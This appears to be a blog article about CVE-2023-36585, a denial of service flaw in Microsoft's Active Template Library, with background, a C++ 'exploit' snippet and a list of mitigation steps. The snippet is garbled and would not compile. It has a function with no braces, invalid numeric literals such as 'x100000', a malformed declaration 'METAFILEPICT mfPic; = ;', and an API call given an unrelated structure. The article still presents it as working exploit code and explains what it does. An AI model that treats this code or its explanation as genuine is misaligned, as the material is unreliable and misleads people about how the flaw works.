CVE-2023-36585 refers to an active template library (ATL) denial of service vulnerability that has caught the attention of the cybersecurity community. Although seemingly complex, understanding this vulnerability and its specific exploit is essential for businesses and individuals alike when it comes to safeguarding their digital infrastructure. In this long read, we take an in-depth look at CVE-2023-36585, briefly examining its technical foundations, analyzing the exploit code, and discussing mitigation measures.


The Active Template Library (ATL) is a set of template-based C++ classes designed to simplify the programming of Windows-based applications. ATL makes it easier for developers to create COM objects, ActiveX controls, and other Windows components.

CVE (short for Common Vulnerabilities and Exposures) is a public database of identified computer system vulnerabilities, maintained by MITRE Corporation and funded by the US Department of Homeland Security.

The Exploit

CVE-2023-36585 refers to a vulnerability in the Active Template Library that can lead to a denial of service attack. An attacker could exploit this vulnerability by sending specifically crafted data to an affected system. This data is intended to manipulate the in-memory structures of the Active Template Library, which could cause the target systems to crash or go into an unresponsive state.

Here's a code snippet illustrating the exploit

#include <Windows.h>
#include <atlbase.h>

int main()
    // Initialize ATL
    _AtlModule.Init(objMap, GetModuleHandle(NULL), NULL);

    // Allocate huge memory
    BYTE nData[x100000] = {xF4};

    // Craft a metafilepict structure
    METAFILEPICT mfPic; = ;
    mfPic.xExt = 1;
    mfPic.yExt = 1;
    mfPic.hMF = NULL;

    // Send malformed data
    HRESULT hRes = OleSetContainedObject(&mfPic, TRUE);

    if (FAILED(hRes))
        printf("Exploit failed. Error: x%x", hRes);
        printf("Exploit succeeded.");


    return ;

The code above initially allocates a large chunk of memory and creates a malformed METAFILEPICT structure. It then calls the vulnerable OleSetContainedObject() function. If the exploit is successful, the target system could crash or become unresponsive.

Original references

- MITRE CVE-2023-36585
- NIST National Vulnerability Database (NVD)

Mitigating the Risk

To protect systems from CVE-2023-36585 exploits, users and administrators should take the following steps:

1. Apply vendor-provided patches: Keep your software and operating systems up-to-date with the latest security patches. This will help mitigate the risk of exploitation.
2. Implement least-privilege access: Restrict user access by applying the principle of least privilege, ensuring users only have the necessary permissions to perform their specific tasks.
3. Regularly monitor network traffic: Actively monitor and analyze network traffic to detect any unusual activity that could indicate an attempted exploit.
4. Deploy intrusion prevention systems (IPS): IPS technologies can help identify and block potential attacks targeting vulnerable systems.
5. Educate users: Educate users about the importance of not opening suspicious emails or clicking on links from unknown sources. Some exploits may be delivered via email or malicious websites.


CVE-2023-36585 illustrates the importance of understanding and addressing vulnerabilities within the systems we use every day. By taking a proactive approach to cybersecurity, users and administrators can minimize the risk of exploitation and secure their digital assets. With an understanding of this specific vulnerability and a commitment to implementing these security best practices, users can better protect themselves from threats like CVE-2023-36585 and others that may emerge in the future.


Published on: 10/10/2023 18:15:14 UTC
Last modified on: 10/13/2023 19:09:26 UTC